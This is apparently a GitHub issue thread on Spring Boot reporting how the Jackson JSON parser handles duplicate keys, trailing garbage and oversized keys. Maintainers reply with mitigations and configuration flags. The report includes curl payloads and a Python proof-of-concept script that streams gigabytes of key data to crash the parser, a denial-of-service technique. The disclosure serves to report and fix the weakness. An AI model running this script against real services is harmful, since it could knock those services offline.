Deficiencies in processing json objects in rest/api services

[yhojann-cl]

Enviroment

• S.O: GNU/Linux, Ubuntu 2.04 LTS.
• Java: 17.0.8
• Spring: Spring Boot 3.1.1
• Package manager: Gradle

The problem

Java Spring boot handles very poorly the interpretation of Json-type objects in HTTP requests, for example, it can cause forced and unexpected errors not controlled by Spring.

To test this problem we will only use a Java Spring project using the web component from org.springframework.boot:spring-boot-starter-web and a single DTO and controller:

/src/main/java/com/example/demo/MainController.java

package com.example.demo;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

@RestController
@CrossOrigin(origins="*")
public class MainController {

    @GetMapping("/")
    public ResponseEntity<Void> get() {
        return new ResponseEntity<>(HttpStatus.OK);
    }

    @PostMapping("/")
    public ResponseEntity<ViewModel> post(@RequestBody ViewModel viewModel) {
        return new ResponseEntity<>(viewModel, HttpStatus.OK);
    }
}

/src/main/java/com/example/demo/ViewModel.java

package com.example.demo;

public class ViewModel {

    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Problem 1: Non-strict structure - duplicated fields

Example:

$ curl -D- -X POST -H 'Content-Type: application/json' http://127.0.0.1:8080/ -d '{ "name": "a", "name": "b", "name": "c" }';
HTTP/1.1 200 
Content-Type: application/json

{"name":"c"}

The RFC-8259 indicates that it is possible to use duplicate keys in the same document root, but how can it be reflected in a java object?, the answer is that it is not possible, a java object cannot contain multiple keys, so what What com.fasterxml.jackson does is simply overwrite the value and this causes some serious problems:

• The json object can contain multiple keys with the same name, Spring validation can validate a java object but not the json object, so these validations are done after transferring the content from the json document to the java object.
• Someone malicious could send a very large document that exceeds the byte limit allowed by the RFC and consume ram resources in an uncontrolled way, denying the service. It is true that Java Spring controls this size but in some cases this validation fails because the size validation is done after the interpretation of the initial data, which can cause memory exhaustion problems.
• It is not able to control the number of document keys, so it is susceptible to errors that can lead to uncontrolled use of memory resources.

Problem 2: Non-strict structure - the library can process garbage content that is not json

Example:

$ curl -D- -X POST -H 'Content-Type: application/json' http://127.0.0.1:8080/ -d '{ "name": "a"}" }xxxx';
HTTP/1.1 200 
Content-Type: application/json

{"name":"a"}

The library performs a loop to process each byte block, storing each variable and value in different maps created in real time while the stream processes, so when the last character of the json document ends, this loop ends, but the stream does not. does, this means that it continues to receive information in blocks until the client decides to stop sending information. This can affect the service by making connections that take longer than expected to complete, as this will bypass the json maximum object size check, but it still cannot bypass the POST request body's maximum size setting. This makes it more susceptible to slowloris-type attacks.

It is true that the impact is not greater but what I want to show is the deficiency when processing content that is not standard json, the library should have thrown an error to Spring indicating that a non-standard document was sent even though it may be indicted.

Problem 3: Uncontrolled key index size

In original code of jackson: https://github.com/FasterXML/jackson-core/blob/2.16/src/main/java/com/fasterxml/jackson/core/sym/ByteQuadsCanonicalizer.java#L1109-L1126

The stream processes every 4096 bytes and each key is stored in a dictionary according to each level of the tree, the problem is that it correctly controls the size of the value but not the size of the key and thanks to this it is possible to evade the controls of general limit of the library being able to send a very large number of bytes causing the value of the byte array to be overflowed. I understand that Java prevents an overflow from allowing an attacker to access memory for security reasons, but it still sounds dangerous.

The text of an item's key is processed using a low-level byte array which has an assigned size of MAX_INT, but if we send a larger number of bytes it will overflow the array, returning to a negative index, causing a native error of java, this error was not controlled from the jackson library and less from Java Spring, for which reason it only produces a disconnection from the server without returning any http response message. This can be useful for some attackers to check if Spring Boot is in the path between the client and the final REST service, either as a proxy gateway or as a service layer.

The script to test it:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket
import time
import sys


class MainCLS(object):


    def __init__(self):

        client_socket = socket.socket()  # instantiate
        client_socket.connect(('127.0.0.1', 8080))  # connect to the server
        current = 0
        toSend = 5000000000
        chunk = 8192
        
        # Send header first
        client_socket.send(('POST / HTTP/1.1\r\nConnection: Close\r\nUser-Agent: Mozilla\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: ' + str(toSend) + '\r\n\r\n{"').encode())
        
        while True:
            current += chunk
            if(current > toSend):
                break

            # Slow speed
            if((current + chunk) > toSend):
                chunk = 1
                
            print('Sending {0}/{1} ({2}%) ...'.format(current, toSend, ((current * 100) / toSend)))
            
            try:
                client_socket.send(('Z' * chunk).encode())
                
            except:
                break

        client_socket.send('":"x"}'.encode())
        
        while True:
            try:
                data = client_socket.recv(1024)
                if(not data):
                    break
                print(data.decode('utf-8'))
            except:
                break
            
        client_socket.close()


if __name__ == '__main__':

    try:
        mainCLS = MainCLS()

    except KeyboardInterrupt as e:
        # Ctrl+C, it's ok.
        pass

    except Exception as e:
        # Unhandled exception
        raise e

When running the script you may get the expected error message:

java.lang.NegativeArraySizeException: -2147483648
        at java.base/java.util.Arrays.copyOf(Arrays.java:3585) ~[na:na]
        at com.fasterxml.jackson.core.base.ParserBase.growArrayBy(ParserBase.java:1545) ~[jackson-core-2.15.2.jar:2.15.2]
        at com.fasterxml.jackson.core.json.UTF8StreamJsonParser.parseEscapedName(UTF8StreamJsonParser.java:2095) ~[jackson-core-2.15.2.jar:2.15.2]
...
	at org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter.readJavaType(AbstractJackson2HttpMessageConverter.java:395) ~[spring-web-6.0.10.jar:6.0.10]

The interesting thing is that if I reduce the number of bytes to send, from 5000000000 to 4307148800 the error does not occur, then if I increase a number the error returns, but when I stop the Java Spring project and start it again that tolerance value up to cause the error changes, sometimes it's a higher value, other times it's a lower value, sometimes the value changes without the need to restart the service, it seems it all depends on the number and types of bytes you send at startup, it's as shown will behave on future http requests. But why does index overflow seem to persistently affect other future http requests? Java is supposed to be protected against memory overflow attacks but this behavior is typical when residue is left in regions of memory where there shouldn't be.

My point

My point is that the library that processes the Json type content is not efficient in structural issues, there can be many other problems but they all stem from the same thing, that the library is not strict in many ways. I think you should consider changing your json document processor. I have not raised this problem as a security problem because I don't know yet the impact that all this may have on a productive service, but I warn you so that you can be careful early. It has me worried that through different content processing problems it could lead to a bigger input data validation problem or even to violating the Java Spring core itself.

[mhalbritter]

Thanks for the report. Jackson is a very widely used JSON processor in the JVM ecosystem. What would be your suggestion to use instead?

If you find security issues, please report them responsibly via https://github.com/spring-projects/spring-boot/security/policy

[wilkinsona]

Thanks for reporting these problems but they're really out of Spring Boot's control. As @mhalbritter has said, Jackson is a very widely used JSON processor in the JVM ecosystem. While it is used in Spring Boot by default and we do not have any plans to change this default, other processors such as Gson are also supported.

The problems that you have described should be reported to the Jackson team. I would do so by following the process described in the project's README.

[philwebb]

It's also worth noting that properties such as server.tomcat.max-http-form-post-size can be used to limit the amount of data that the server accepts before it even gets to Jackson.

[yhojann-cl]

Issues created to tracking:

• Feature Request - Add an option for strict document processing FasterXML/jackson-core#1073
• Add configurable limit for the maximum length of Object property names to parse before failing (default max: 50,000 chars) FasterXML/jackson-core#1047 (comment)

[pjfanning]

Users should always set a max size on the JSON input. Jackson leaves this up to users at the moment. Jackson is concentrating on issues where comparatively short inputs can cause issues (like deeply nested docs or long numbers).

The suggestion by @philwebb (server.tomcat.max-http-form-post-size) makes a lot of sense.

[cowtowncoder]

Note, too, that the first 2 issues can be handled by Jackson configuration:

1. Configure JsonFactory with StreamReadFeature.STRICT_DUPLICATE_DETECTION set to true -- will detect and fail on duplicate JSON property names
2. Configure ObjectMapper with DeserializationFeature.FAIL_ON_TRAILING_TOKENS set to true

although Jackson defaults to both being false for backwards-compatibility reasons.